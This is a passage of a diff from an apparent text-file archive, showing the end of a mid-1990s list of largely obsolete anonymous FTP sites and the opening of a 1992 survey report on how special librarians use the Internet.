obsolete +Files : + +Site : qualup.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://qualup.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : quiche.cs.mcgill.ca +Country: Canada +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : titanic.cs.mcgill.ca +Admin : +Organ : McGill University, Montreal, Quebec, CS dept. +Server : +System : +URL : ftp://quiche.cs.mcgill.ca/ +Comment: User anonymous unknown +Files : recursive listing of all ftp sites; MSDOS; bible; + Hubble GIF images; archie info + +Site : qusuna.qucis.queensu.ca +Country: Canada +GMT : +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Queen's University, Kingston, Ontario +Server : +System : +URL : ftp://qusuna.qucis.queensu.ca/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : regelia.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://regelia.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : rigel.efd.lth.se +Country: Sweden +GMT : +1 +Date : 29-Oct-94 +Source : Per.Foreby@efd.lth.se; VAX Software List; old ftp-list +Alias : +Admin : ftpmanager@rigel.efd.lth.se +Organ : Lund Institute of Technology, Lund, EE and CS dept. +Server : +System : VAX/VMS running Multinet +URL : ftp://rigel.efd.lth.se/ +Comment: Obsolete; superseded by ftp.lth.se + please read 00README for more info; this site is mostly + for VMS programs; try ftp.efd.lth.se and ftp.lth.se for + other programs; guesses your emailaddres from your host; + USE:[ANONYMOUS]; +Files : VAX/VMS apps: swing, emacs, and gcc + +Site : rmhs1.urz.tu-dresden.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : Technische Universitaet Dresden (Dresden Institute of Technology), + Dresden, CC +Server : +System : +URL : ftp://rmhs1.urz.tu-dresden.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin + Guest login not permitted +Files : + +Site : rrivax.rri.uwo.ca +Country: Canada +GMT : +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Ontario, London, Ontario +Server : +System : +URL : ftp://rrivax.rri.uwo.ca/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : ruby.tufts.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Tufts University +Server : +System : VAX/VMS running Multinet +URL : ftp://ruby.tufts.edu/ +Comment: anonymous user ok. ftp disallowed. obsolete +Files : mirror of pearl.tufts.edu + +Site : rusmv1.rus.uni-stuttgart.de +Country: Germany +GMT : +1 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : rusinfo.rus.uni-stuttgart.de +Admin : +Organ : Universitaet Stuttgart (University of Stuttgart), Stuttgart +Server : +System : +URL : ftp://rusmv1.rus.uni-stuttgart.de/ +Comment: the anonymous ftp archive has been moved, please use + ftp.uni-stuttgart.de; user anonymous access denied +Files : RFCs; X11; Atari; Amiga; MSDOS; Unix; mathematics (Fortran) + +Site : rye.cs.ucla.edu +Country: USA +GMT : -8 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of California - Los Angeles, Los Angeles, California + CS dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://rye.cs.ucla.edu/ +Comment: User anonymous unknown +Files : tgif + +Site : samba.acs.unc.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of North Carolina, Chapel Hill, North Carolina +Server : +System : +URL : ftp://samba.acs.unc.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : sayshell.umd.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Maryland, , Maryland +Server : +System : +URL : ftp://sayshell.umd.edu/ +Comment: User anonymous unknown +Files : version of KA9Q + +Site : schizo.samsung.com +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Samsung Electronics Corp. +Server : +System : +URL : ftp://schizo.samsung.com/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : alt.sources; comp.sources: games, misc, sun, unix, x; GNU; + Usenet news apps; Unix mail; networking apps; MSDOS; GIFs; RFCs + +Site : sciences.sdsu.edu +Country: USA +GMT : -8 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : San Diego State University, San Diego, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://sciences.sdsu.edu/ +Comment: User anonymous unknown; sounds moved to ftp.sdsu.edu +Files : sounds + +Site : sds.sdsc.edu +Country: USA +GMT : -8 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : San Diego Supercomputer Centre, San Diego, California +Server : +System : VAX/VMS running Multinet +URL : ftp://sds.sdsc.edu/ +Comment: anonymous ftp moved to ftp.sdsc.edu +Files : supercomputer center info + +Site : sessilis.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://sessilis.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : shemp.cs.ucla.edu +Country: USA +GMT : -8 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of California - Los Angeles, Los Angeles, California + CS dept. +Server : +System : +URL : ftp://shemp.cs.ucla.edu/ +Comment: User anonymous unknown +Files : XWIP + +Site : shorty.cs.wisc.edu +Country: USA +GMT : -6 +Date : 25-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Wisconsin, Madison, Wisconsin, CS dept. +Server : +System : Unix +URL : ftp://shorty.cs.wisc.edu/ +Comment: ftp archive has moved to ftp.cs.wisc.edu +Files : Condor; cross-compiler; CSLIP for Ultrix 4.0; exodus; lj2ps; + xgremlin; xproof + +Site : sirius.ucs.adelaide.edu.au +Country: Australia +GMT : +10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Adelaide, Adelaide +Server : +System : +URL : ftp://sirius.ucs.adelaide.edu.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : X11R4; BSD stuff; CERT; Modula-3; MSDOS; aus.aarnet archive; + URT (Utah RLE toolkit) + +Site : skutt.cs.chalmers.se +Country: Sweden +GMT : +1 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Chalmers University of Technology, Gothenburg +Server : +System : +URL : ftp://skutt.cs.chalmers.se/ +Comment: User anonymous unknown; stuff probably moved to chalmers.se +Files : some Constructive Type Theory stuff; LML v0.97; XLPmud + +Site : sn01.sncc.lsu.edu +Country: USA +GMT : -6 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Louisiana State University, , Louisiana +Server : +System : VAX/VMS running MultiNet +URL : ftp://sn01.sncc.lsu.edu/ +Comment: ANONYMOUS ftp disallowed +Files : + +Site : snoopy.tblc.lib.fl.us +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : p00710@psilink.com (John Iliff) {posting} +Alias : +Admin : +Organ : Pinellas Park Public Library, Pinellas Park, Florida +Server : +System : Unix +URL : ftp://snoopy.tblc.lib.fl.us/ +Comment: +Files : docs; Mosaic; nethlp (Internet intro); SCO; Windows + + +Site : snow.white.toronto.edu +Country: Canada +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Toronto, Toronto, Ontario +Server : +System : +URL : ftp://snow.white.toronto.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : mg + +Site : softu1.ncu.edu.tw +Country: Taiwan +GMT : +8 +Date : 15-Dec-94 +Source : hch@nctuccca.edu.tw (Chih-Hsien Huang) +Alias : softu1.src.ncu.edu.tw +Admin : root@softu1.ncu.edu.tw +Organ : National Central University, Taiwan +Server : +System : Unix (Ultrix 4.2 DEC) +URL : ftp://softu1.ncu.edu.tw/ +Comment: User anonymous access denied +Files : + +Site : sollya.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://sollya.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : sparta.spartacus.com +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://sparta.spartacus.com/ +Comment: User anonymous unknown +Files : router items of interest; knet info + +Site : sphunix.sph.jhu.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : VAX Software List +Alias : +Admin : +Organ : Johns Hopkins University, Baltimore, Maryland +Server : +System : Unix (Ultrix 4.1) +URL : ftp://sphunix.sph.jhu.edu/ +Comment: user anonymous unknown +Files : VMS software + +Site : srvmp21.physik.tu-berlin.de +Country: Germany +GMT : +1 +Date : 09-Feb-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : meikel@srvmp21.physik.tu-berlin.de +Organ : Technischer Universitaet Berlin (Berlin University of Technology), + Berlin, Physics dept. +Server : +System : +URL : ftp://srvmp21.physik.tu-berlin.de/ +Comment: Problem: I/O error on network device; user anonymous unknown +Files : chemistry; pic; mathematics; physics + +Site : stat.lib.cmu.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, +Server : +System : +URL : ftp://stat.lib.cmu.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise]; login as user 'statlib' +Files : Statistical Library (mirrored at dmssyd.syd.dms.csiro.au) + +Site : stolaf.edu +Country: USA +GMT : -6 +Date : 23-May-94 +Source : old ftp-list +Alias : nic.stolaf.edu +Admin : +Organ : St. Olaf College +Server : +System : Unix (SunOS 4.1) +URL : ftp://stolaf.edu/ +Comment: user anonymous access denied. Anonymous user should use + ftp.stolaf.edu +Files : news; anime; bitmaps; Amiga; MSDOS; mud; Tex; dvi; net_spellbook; + Postscipt utils + +Site : sun.cnuce.cnr.it +Country: Italy +GMT : +1 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://sun.cnuce.cnr.it/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : atalk; ka9q; GNU + +Site : sun8.ruf.uni-freiburg.de +Country: Germany +GMT : +1 +Date : 09-Feb-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : ftp@ftp.uni-freiburg.de +Organ : Universitaet Freiburg (University of Freiburg), Freiburg +Server : +System : Unix (SunOS 4.1) +URL : ftp://sun8.ruf.uni-freiburg.de/ +Comment: Anonymous ftp moved to ftp.ruf.uni-freiburg.de +Files : + +Site : suncis.ycc.yale.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : VAX Software Lit +Alias : +Admin : +Organ : Yale University, New Haven, Connecticut +Server : +System : Unix (System V Release 4.0) +URL : ftp://suncis.ycc.yale.edu/ +Comment: user anonymous unknown +Files : VAX Software + +Site : syndgate.apana.org.au +Country: Australia +GMT : +10 +Date : 14-Dec-94 +Source : schmal@tartarus.uwa.edu.au (Alex Stevens) {posting} +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://syndgate.apana.org.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : Red Dwarf material (gifs/scripts/lyrics etc.) + +Site : szechuan.ncsc.org +Country: USA +GMT : -5 +Date : 12-Apr-94 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : mach.ncsc.org +Admin : +Organ : International AVS Center, Research Triangle Park, North Carolina +Server : +System : +URL : ftp://szechuan.ncsc.org/ +Comment: User anonymous unknown +Files : marching cubes surface tiler + +Site : teaser.lis.pitt.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Pittsburgh, Pittsburgh, Pennsylvania +Server : +System : +URL : ftp://teaser.lis.pitt.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : Elm; Emacs; Gopher; imtools; nntpclnt; Perl; rn; Tin; trn; WAIS; + XV + +Site : techno.stanford.edu +Country: USA +GMT : -8 +Date : 20-Apr-94 +Source : +Alias : sfraves.stanford.edu +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix +URL : ftp://techno.stanford.edu/ +Comment: [files moved to hyperreal.com] +Files : + +Site : theory.cs.uni-bonn.de +Country: Germany +GMT : +1 +Date : 23-Dec-93 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : root@theory.cs.uni-bonn.de +Organ : Universitaet Bonn (University of Bonn), Bonn, CS dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://theory.cs.uni-bonn.de/ +Comment: user anonymous unknown +Files : + +Site : tomcat.gsfc.nasa.gov +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : NASA - Goddard Space Flight Center, Greenbelt, Maryland, +Server : +System : KA9Q+W3IWI +URL : ftp://tomcat.gsfc.nasa.gov/ +Comment: cannot enter.. anonymous exists but password is not right +Files : G8BPQ; Desqview + +Site : tp.u.washington.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : krakatoa.jsc.nasa.gov +Alias : +Admin : +Organ : University of Washington, Seattle, Washington +Server : +System : Unix +URL : ftp://tp.u.washington.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] [I think it's ftp.u.washington.edu] +Files : tkHTML + +Site : trantor.umd.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Maryland, , Maryland +Server : +System : +URL : ftp://trantor.umd.edu/ +Comment: User anonymous unknown +Files : NTP + +Site : trident.arc.nasa.gov +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : NASA - Ames Research Center, Mountain View, California +Server : +System : +URL : ftp://trident.arc.nasa.gov/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : VMS-NNTP + +Site : tub.cs.tu-berlin.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : Technische Universitaet Berlin (Berlin University of Technology), + Berlin, CS dept. +Server : +System : +URL : ftp://tub.cs.tu-berlin.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin +Files : + +Site : tybalt.caltech.edu +Country: USA +GMT : -8 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : California Institute of Technology, Pasadena, California +Server : +System : +URL : ftp://tybalt.caltech.edu/ +Comment: use ftp.cco.caltech.edu instead of tybalt.caltech.edu + Service not available. Remote server has closed the connection. +Files : GraphWidget + +Site : uafcseg.uark.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Arkansas, , Arkansas +Server : +System : +URL : ftp://uafcseg.uark.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : ub.cc.umich.edu +Country: USA +GMT : -5 +Date : 15-Feb-94 +Source : pauls@locust.cic.net (Paul Southworth); old ftp-list +Alias : +Admin : +Organ : University of Michigan, Ann Arbor, Michigan +Server : +System : +URL : ftp://ub.cc.umich.edu/ +Comment: Has been taken off-line; Problem: Failed to get host information +Files : + +Site : ucbarpa.berkeley.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Berkeley, Berkeley, California +Server : +System : +URL : ftp://ucbarpa.berkeley.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : tn3270; pub/4.3; Extended DCG Prolog + +Site : ucdavis.ucdavis.edu +Country: USA +GMT : -8 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of California - Davis, Davis, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://ucdavis.ucdavis.edu/ +Comment: User anonymous unknown +Files : POP2; NetHop; UCDwhois; UCDMail; IETF-PPP records + +Site : ucsi.imt-mrs.fr +Country: France +GMT : +1 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Institut Mediterraneen de Technologie +Server : +System : +URL : ftp://ucsi.imt-mrs.fr/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : AtariST + +Site : uhccux.uhcc.hawaii.edu +Country: USA +GMT : -10 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Hawaii, Hawaii, USA +Server : +System : +URL : ftp://uhccux.uhcc.hawaii.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : umrisca.isc.umr.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://umrisca.isc.umr.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : unssun.scs.unr.edu +Country: USA +GMT : -7 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : University of Nevada - Reno, Reno, Nevada +Server : +System : Unix (SunOS 4.1) +URL : ftp://unssun.scs.unr.edu/ +Comment: anonymous ftp moved to ftp.scs.unr.edu; still allows anonymous + access +Files : + +Site : unx.ucc.okstate.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Oklahoma State University, , Oklahoma, CC +Server : +System : +URL : ftp://unx.ucc.okstate.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : utnetw.utoledo.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : VAX Software List; old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Toledo, Toledo +Server : +System : Unix (SunOS 4.1) +URL : ftp://utnetw.utoledo.edu/ +Comment: User anonymous unknown +Files : VMSTPC; VMS software + +Site : ux1.cso.uiuc.edu +Country: USA +GMT : -6 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois +Server : +System : +URL : ftp://ux1.cso.uiuc.edu/ +Comment: user anonymous unknown +Files : GIF; graphics related programs and files + +Site : vax.ftp.com +Country: USA +GMT : -5 +Date : 20-Dec-93 +Source : old ftp-list +Alias : vaxeline.ftp.com +Admin : fks@vaxeline.ftp.com (Frances K. Selkirk) +Organ : FTP Software +Server : +System : Unix (Ultrix 4.1) +URL : ftp://vax.ftp.com/ +Comment: files moved to ftp.ftp.com +Files : FTP info & apps; packet drivers; Unix software; other network + related programs + +Site : venus.ycc.yale.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : venus.cis.yale.edu +Admin : +Organ : Yale University, New Haven, Connecticut +Server : +System : Unix (SunOS 4.1) +URL : ftp://venus.ycc.yale.edu/ +Comment: Username anonymous is unknown +Files : SBTeX + +Site : vernam.cs.uwm.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Wisconsin - Milwaukee, Milwaukee, Wisconsin +Server : +System : +URL : ftp://vernam.cs.uwm.edu/ +Comment: User anonymous unknown +Files : 386BSD source & binaries; Suni386 binaries and mailing list; + Mach386 binaries + +Site : vlsi.cs.umn.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Minnesota, , Minnesota +Server : +System : +URL : ftp://vlsi.cs.umn.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : PLP (Public line printer) + +Site : vm.tcs.tulane.edu +Country: USA +GMT : -7 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Tulane University, New Orleans, Louisiana +Server : +System : VM/CMS +URL : ftp://vm.tcs.tulane.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : RFC; terminfo + +Site : vms1.ucc.okstate.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : VAX Software List +Alias : +Admin : +Organ : Oklahoma State University, , Oklahoma, CC +Server : +System : +URL : ftp://vms1.ucc.okstate.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : VMS software + +Site : vmsa.technion.ac.il +Country: Israel +GMT : +2 +Date : 17-Feb-94 +Source : old ftp-list +Alias : +Admin : +Organ : Technion - Israel Institute of Technology +Server : +System : VAX/VMS +URL : ftp://vmsa.technion.ac.il/ +Comment: ftp disallowed +Files : + +Site : vmsd.oac.uci.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Irvine, Irvine, California +Server : +System : VAX/VMS +URL : ftp://vmsd.oac.uci.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : VMS stuff + +Site : vmtecmex.cem.itesm.mx +Country: Mexico +GMT : +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : VM/CMS +URL : ftp://vmtecmex.cem.itesm.mx/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : Amiga; MSDOS; GIF + +Site : vogon.mathi.uni-heidelberg.de +Country: Germany +GMT : +1 +Date : 09-Feb-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : Universitaet Heidelberg (University of Heidelberg), Heidelberg, + Math dept. +Server : +System : +URL : ftp://vogon.mathi.uni-heidelberg.de/ +Comment: user anonymous unknown +Files : + +Site : walhalla.informatik.uni-dortmund.de +Country: Germany +GMT : +1 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Universitaet Dortmund (University of Dortmund), Dortmund + CS dept. +Server : +System : +URL : ftp://walhalla.informatik.uni-dortmund.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin + Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : wlv.imsd.contel.com +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Contel Corp +Server : +System : +URL : ftp://wlv.imsd.contel.com/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : world.std.com +Country: USA +GMT : -5 +Date : 11-Mar-93 +Source : games/roguelike +Alias : +Admin : +Organ : The World Public Access Unix +Server : +System : +URL : ftp://world.std.com/ +Comment: files have moved to ftp.std.com +Files : lots of text files; some sources for games in /src/games + +Site : wsmr-simtel20.army.mil +Country: USA +GMT : -7 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : U.S. Army - White Sands Missile Range, White Sands, Nevada +Server : +System : TOPS-20 +URL : ftp://wsmr-simtel20.army.mil/ +Comment: obsolete, superseded by oak.oakland.edu +Files : Simtel 20 MSDOS; Unix; CPM; Mac (tenex) + +Site : xanthorrhoea.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://xanthorrhoea.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : zerkalo.harvard.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Harvard University, Cambridge, Massachusetts +Server : +System : +URL : ftp://zerkalo.harvard.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : traceroute + +Site : zeus.cs.umu.se +Country: Sweden +GMT : +1 +Date : 14-Dec-94 +Source : old ftp-list +Alias : salt.cs.umu.se +Admin : +Organ : Umea University, Umea, CS dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://zeus.cs.umu.se/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : zeus.unomaha.edu +Country: USA +GMT : -6 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Nebraska - Omaha, Omaha, Nebraska +Server : +System : ? UCX 2.0 +URL : ftp://zeus.unomaha.edu/ +Comment: Username anonymous requires a password [why?????] +Files : cedit - column editor + +============================================================================ +[End Of File] diff --git a/textfiles.com/internet/sl-inet.txt b/textfiles.com/internet/sl-inet.txt new file mode 100644 index 00000000..22728f04 --- /dev/null +++ b/textfiles.com/internet/sl-inet.txt @@ -0,0 +1,570 @@ +How Special Librarians really use the Internet +---------------------------------------------- + +Date: Wed, 1 Apr 1992 11:02:22 CST +From: Public-Access Computer Systems Forum +Subject: Special Librarians and the Internet +To: Ernest Perez + +From: "Sharyn Ladner, Business Librarian, University of Miami Richter Library" + +Subject: Special Librarians & the Internet + +Last Summer we asked special librarians to participate in a +study of Internet use. We are posting this report of our +findings and implications for the library of the future on +the nine listservs and forums where we posted our original +request for participation (PACS-L, LIBREF-L, BUSLIB-L, +MEDLIB-L, LIBRES, LIBADMIN, PAMnet, MAPS-L and LAW-LIB). We +apologize in advance for this duplication but feel it's +important for our respondents to see what we found out. + +We invite comments and encourage discussion of our findings +and interpretation. + +*=========================================================== + + HOW SPECIAL LIBRARIANS REALLY USE THE INTERNET + + by + + Sharyn J. Ladner, Business Librarian + University of Miami (FL) Richter Library + (sladner@umiami.ir.miami.edu) + (sladner@uiami.bitnet) + + and + + Hope N. Tillman, Director of Libraries + Babson College + (tillman@babson.bitnet) + + + +In the Summer of 1991 we asked special librarians with +access to BITNET and Internet to tell us how they use these +networks and what value they receive from this use. We hope +that our findings will serve as a basis for future research +in the use of electronic communications technology by +information professionals within the modern organization, +including the effects of these technologies on the role and +position of the information professional within the +organization. + +RATIONALE + +While there has been a veritable explosion of articles in +recent years on libraries and the Internet, there is a +singular lack of published research on how the Internet is +actually used by librarians. Articles on the Internet +typically discuss policy issues, describe network services +and guides, or discuss user support and promotion. Most +address in some way the idea that Internet (or BITNET, or +NREN) connectivity is the key to the library of the future, +but none examine actual use other than as case studies or +histories. This research, then, departs from the current +body of Internet literature by addressing these questions: +How is the Internet actually being used by practicing +librarians today? Are the network services and efficiencies +touted in the literature being used like their designers +intended? + +Special librarians are a unique group to study because they +have a knowledge base in more than one discipline. Special +librarians are, for the most part, not only information +professionals holding advanced degrees in library or +information science, they are also specialists in one or +more subject areas, often with postgraduate training in +science, business or law. In addition, many special +librarians in science or technology fields work closely with +researchers who have been using Internet precursors such as +ARPANET, NSFNET and MILNET for years. Special librarians, +whether managers of industrial libraries or academic subject +specialists, are more often in public services positions, +and they may use the Internet differently from technical +services or systems librarians. The lack of research on +special librarians' use of interactive communications +technology leads us to ask the following questions: Do +special librarians differ from other types of librarians in +their use of the Internet? How do they interact with their +users who may already be using these inter-connected +networks for their own research activities? How does their +use of the Internet compare to their use of internal e-mail +systems within their own organizations? + +In this report, we have limited our discussion to Internet +use and training and implications of this use for the +library of the future. For the sake of brevity, we have +included only a cursory description of our methodology. + +PROCEDURE AND PARTICIPANTS + +Participants were solicited through "Call for Participation" +announcements posted on nine computer conferences in July, +1991, and through a similar announcement in the August issue +of the _SpeciaList_, the monthly newsletter of the Special +Libraries Association. We sent a five-page electronic +questionnaire to the 113 librarians who responded to this +initial announcement; the 54 special librarians who +responded to this second survey are the focus of our study. +Our respondents were self-selected; we made no attempt at +probability sampling because our purpose was to find out the +ways in which special librarians use the Internet, not their +extent of use. + +On the "Call for Participation" announcement we included a +brief questionnaire which potential respondents were asked +to return, either electronically, via fax or regular mail. +Here we asked respondents to list the computer conferences +to which they subscribed; the length of time they had been +using either BITNET or the Internet; and to "Briefly +describe (in a paragraph or less) your use (and/or your +patrons' use) of BITNET or the Internet." On the five-page +questionnaire we asked a series of structured questions to +find out how and for what purposes our respondents used +BITNET or Internet, so that we could flesh out the +information we had already received through the preliminary +survey. We asked them, for example, to rank five functions +or capabilities available on BITNET or Internet by extent of +use and to describe how they used these functions. We +also included a series of questions about training and costs +involved in accessing these systems. + +To determine the importance and value of BITNET or Internet +to their work and for special librarians in general, we +asked a series of unstructured open-ended questions at the +end of the survey form. We asked respondents to describe, +based on their experience, "the major advantage or +opportunity for special librarians in using +BITNET/Internet"; "the major disadvantage or barrier for +special librarians in using BITNET/Internet"; their "most +interesting or memorable experience on BITNET or Internet"; +and finally, we asked them for "any other comments [they'd] +like to make about the use of BITNET or Internet by special +librarians." + +Sixty-five percent of our respondents are academic +librarians and 59% are in libraries with a subject emphasis +in science or technology. Other subjects represented are +law, medicine, maps and business. All five respondents +from for-profit corporations are in the computer industry. +Our participants represent a wide range of administrative +levels: 46% are in management (library directors, assistant +directors or branch or department heads) and 55% are subject +specialists. They work in libraries ranging in size from +the single person library to larger academic libraries with +several hundred employees. Librarians from the most +technologically advanced institutions to smaller colleges +and universities outside the urban, technological mainstream 